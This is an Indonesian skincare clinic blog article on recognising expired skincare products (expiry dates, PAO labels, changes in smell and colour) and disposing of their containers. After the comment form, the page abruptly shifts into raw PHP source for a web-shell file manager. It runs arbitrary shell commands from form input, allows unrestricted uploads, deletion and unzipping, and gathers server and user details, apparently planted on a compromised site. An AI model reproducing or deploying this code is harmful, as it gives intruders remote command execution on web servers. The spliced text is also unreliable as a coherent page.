Ada Yang Bisa Kami Bantu? Chat Kami Sekarang.
cara membuang skincare kadaluarsa

Cara Membuang Skincare Kadaluarsa

-

Daftar Isi

Cara membuang skincare kadaluarsa. Tahukah Anda bahwa skincare berasal dari dua kata, yaitu skin dan care. Skin artinya kulit dan care yang artinya peduli. Sehingga, dapat kita simpulkan bersama, bahwa skincare memiliki arti serangkaian produk kecantikan yang bertujuan untuk mendukung perawatan dan kesehatan kulit tubuh. Skincare sendiri juga mengandung nutrisi yang berguna bagi kulit serta dapat melindungi kita dari sinar UV yang dapat membahayakan kulit kita.

Layaknya kesehatan tubuh yang harus kita jaga, kesehatan kulit juga tidak kalah pentingnya untuk kita jaga. Akan tetapi perlu Anda ketahui bahwa sebelum Anda menggunakan skincare, ada baiknya Anda mengerti terlebih dahulu apa yang dibutuhkan oleh kulit Anda. 

Dari halaman Heathline jika Anda menggunakan produk skincare yang salah dan tidak sesuai dengan jenis kulit, alih-alih kulit Anda menjadi makin cantik justru malah memperburuknya. Kulit Anda bisa saja berubah menjadi lebih kering, berjerawat, ataupun masalah kulit yang lainnya.

Nah, di sisi lain bila Anda sudah yakin menemukan skincare yang tepat bagi kulit Anda. Maka teruslah untuk melakukan perawatan secara rutin agar tetap menjaga kesehatan kulit.

Berbicara mengenai skincare, produk ini tentunya memiliki batas pakai lho. Seperti halnya makanan yang memiliki expired date, skincare juga pasti memilikinya. Biasanya skincare memiliki batas penggunaan mulai dari 4 bulan sampai dengan 1 tahun. Dengan demikian, Anda benar-benar harus memperhatikan tenggat masa produk skincare yang sedang Anda gunakan, karena menggunakan produk yang sudah melewati masa pakai akan mengakibatkan dampak buruk bagi kulit jika terus dipergunakan.

Ini dia beberapa hal yang perlu anda perhatikan sebelum dan sesudah melakukan cara membuang skincare kadaluarsa.

Tahapan Membuang Skincare Yang Kadaluarsa

Adapun beberapa tahapan yang perlu Anda perhatikan sebelum akhirnya memutuskan untuk membuang skincare. Simak baik-baik, jangan sampai rugi!

Perhatikan Batas Kadaluarsa Skincare agar Mudah Anda Buang

Produk-produk skincare memiliki banyak jenis seperti contohnya adalah krim jerawat ataupun sunscreen. Jika Anda ingin tetap mempunyai kulit yang sehat, jangan sekali-sekali mencoba untuk menggunakan expired skincare. Hal itu bisa mengakibatkan masalah kulit yang sangat fatal. Pada dasarnya, Anda sudah tidak bisa mendapatkan manfaat dari sebuah expired skincare. 

Bukan hanya expired date yang perlu Anda perhatikan di sini. Namun, ada juga ada istilah PAO (Period After Opening). PAO adalah tampilan dengan angka seperti 1M, 3M, 6M, 12M, 18M, 8M. Variable M merujuk pada bulan (month). Maka dari itu, produk yang memiliki keterangan ini, efektif anda gunakan sesuai dengan keterangan PAO. Walaupun, date expirednya terbilang masih cukup lama, akan tetapi bila produknya sudah dibuka, lebih baik Anda gunakan saja sesuai dengan keterangan PAO. Jika sudah lebih dari batasnya, jangan ragu untuk dibuang, ya.

Perhatikan Perubahan Produk

Selain mencermati tanggal kadaluarsa pada kemasan, Anda juga memanfaatkan panca indera Anda dalam menggunakan skincare. Memangnya bisa? Bagaimana caranya? Tenang, akan kami beritahu caranya.

Pertama, Anda bisa mengandalkan indera penciuman Anda dengan cara mencium produk skincarenya, apakah mengeluarkan bau tak sedap atau tidak. Kedua, juga bisa mengandalkan indera penglihatan, yaitu bila Anda melihat perubahan warna pada produk, ataupun bila ada perubahan lainnya. Dengan semua keanehan itu, Anda tidak perlu merasa ragu untuk membuang produk skincare. Berikut ini adalah informasi yang dapat membantu Anda untuk lebih mencermati kandungan skincare yang Anda miliki.

Produk bahan dasar air

Pasti tahu dong, jika bakteri sangat menyukai area lembab apalagi basah. Nah, maka dari itu produk skincare yang berbahan dasar air, alangkah baiknya jika Anda habiskan dalam kurun waktu 6 sampai 8 bulan saja, lebih dari itu, lebih baik dibuang. Namun, bila bahan tersebut tercampur dengan zat glycolic atau salicylic acid biasanya bisa bertahan lebih lama. Hal itu karena bakteri tidak bisa bertahan dengan zat-zat tersebut.

Produk dengan vitamin C

Vitamin C adalah sesuatu yang memiliki kandungan antioksidan yang tinggi. Sehingga, produk dengan kandungan ini, sangat dan harus untuk kita letakkan pada botol gelap dan tidak terlalu sering terpapar oleh udara. Biasanya memiliki tekstur yang bening, bisa berbentuk serum. Jadi, jika sudah berubah menjadi kecoklatan, itu perlu anda curigai.

Produk pelembab

Pelembab seperti day cream atau night cream umumnya memiliki batas satu tahun setelah dibuka. Apalagi bila tempatnya itu berbentuk jar dan Anda menggunakan buka-tutup buka-tutup, pasti akan sering terkontaminasi dengan udah yang bisa membuat bakteri muncul. Itulah mengapa membuat pelembab idealnya kita gunakan dalam jangka waktu 6 sampai 12 bulan saja.

Nah itu dia, informasi yang bisa kami sajikan bagi Anda, semoga bermanfaat dan membuat Anda lebih memahami batas penggunaan dan pengaruh dari bahan skincare.

Cara Buang Wadah Skincare Yang Telah Habis atau Kadaluarsa

Nah, setelah tadi membahas cara membuang skincare kadaluarsa yaitu mengenai tenggat waktu dan kandungan dari skincare, sekarang Anda juga harus bertanggung jawab penuh atas sampah yang dihasilkan oleh pembuangan Anda.

Entah karena itu habis digunakan, atau dibuang karena kadaluarsa, pasti Anda bingung ingin dibawa kemana wadah bekas skincare Anda nantinya. Perlu anda ketahui bersama bahwa di luar sana banyak oknum-oknum nakal yang memanfaatkan barang tak layak pakai. Contoh sederhananya saja seperti membeli dan mengambil wadah bekas skincare untuk wadah produksi mereka sendiri. 

Hal itu biasanya karena membeli wadah bekas cenderung lebih murah daripada harus membeli wadah yang baru. Ya… Intinya oknum-oknum tersebut melakukan itu untuk meraup untung lebih banyak.

Dari sini, pastinya Anda sudah bisa membayangkan dong, bagaimana jadinya bila wadah yang sudah tidak steril itu kita gunakan lagi? Hm, pasti benar-benar merusak kulit.

Ada tips untuk membuang wadah skincare yang sudah habis atau kadaluarsa lho…

Cara yang paling sederhana adalah dengan cara mengembalikan wadah kosong kepada beauty shop tempat Anda membeli skincare tersebut. Seperti Watson, The Body Shop, dan brand-brand kecantikan lain yang bisa menerima wadah bekas skincare Anda. Namun perlu anda pastikan, bahwa wadah yang Anda kirimkan harus dalam keadaan kosong, bersih, dan tentunya kering.

Cara lainnya yang bisa Anda lakukan adalah dengan mengumpulkan, memilah, dan mengirimkan wadah-wadah itu ke penampungan sampah yang jelas. Sekarang, sudah ada banyak komunitas yang menerima daur ulang semua jenis wadah, entah itu dari rumah tangga, makanan seperti plastic atau kardus, hingga ke botol-botol atau jar jar milik skincare. 

Anda bisa mengirimkannya kepada mereka untuk didaur ulang dan bisa mengurangi sampah. Selain mengurangi sampah, Anda juga membantu mereka yang bekerja dalam bidang pengelolaan sampah.

Akhirnya… sampailah kita di akhir artikel, itu dia cara membuang skincare kadaluarsa namun dengan tetap memegang tanggung jawab penuh atas tindakan pembuangan produk Anda.

 

Klinik RSa Aesthetic

Klinik RSa Aesthetic

Klinik Treatment Kecantikan Berkualitas di Bandung

Bagikan Artikel Via:

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn
Share on whatsapp
WhatsApp

Tinggalkan Komentar

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

basename($file), 'size' => '', 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } else { $files[] = array( 'name' => basename($file), 'size' => filesize($file), 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } } // Handle file upload if (isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['size'] > $max_upload_size) { echo 'File too large!'; } else { move_uploaded_file($file['tmp_name'], $current_dir. '/'. $file['name']); } } // Handle file deletion if (isset($_POST['delete'])) { $file = $_POST['delete']; $file_path = rtrim($current_dir, '/') . '/' . $file; if (file_exists($file_path) && is_file($file_path)) { unlink($file_path); header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode(rtrim($current_dir, '/'))); exit; } else { echo 'File not found or not a file!'; } } // Handle terminal command if (isset($_POST['command'])) { $command = $_POST['command']; $output = shell_exec($command); echo "
$output
"; // Update current directory if command is cd if (strpos($command, 'cd ') === 0) { $new_dir = trim(substr($command, 3)); if ($new_dir == '..') { $current_dir = dirname($current_dir); } elseif ($new_dir!= '') { $current_dir = realpath($current_dir. '/'. $new_dir); } } } // Handle unzip if (isset($_POST['unzip'])) { $file = $_POST['unzip']; $file_path = $current_dir. '/'. $file; if (file_exists($file_path) && is_file($file_path)) { $zip = new ZipArchive; $res = $zip->open($file_path); if ($res === TRUE) { $zip->extractTo($current_dir); $zip->close(); echo "Unzipped successfully!"; } else { echo "Failed to unzip!"; } } else { echo "File not found or not a file!"; } } // Handle mkdir if (isset($_POST['mkdir'])) { $dir = $_POST['mkdir']; $dir_path = $current_dir. '/'. $dir;if (!is_dir($dir_path)) { mkdir($dir_path, 0750, true); echo "Directory created successfully!"; } else { echo "Directory already exists!"; } } // System information $server_ip = $_SERVER['SERVER_ADDR']; $web_server = $_SERVER['SERVER_SOFTWARE']; $system = php_uname('s'); $user = $_SERVER['USER']; $php_version = phpversion(); $disabled_functions = ini_get('disable_functions'); // MySQL, cURL, WGET, Perl, and Python information $mysql_enabled = function_exists('mysql_connect')? 'ON' : 'OFF'; $curl_enabled = function_exists('curl_init')? 'ON' : 'OFF'; $wget_enabled = shell_exec('wget --version')? 'ON' : 'OFF'; $perl_enabled = shell_exec('perl -v')? 'ON' : 'OFF'; $python_enabled = shell_exec('python --version')? 'ON' : 'OFF'; function filesize_format($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size >= 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, 2). ' '. $units[$i]; } ?> File Manager

File Manager

Current directory:

Name Size Last Modified Owner Permissions Options

System Information

Server IP:

Web Server:

System:

User:

PHP Version:

Disabled Functions:

Module Information

MySQL:

cURL:

WGET:

Perl:

Python: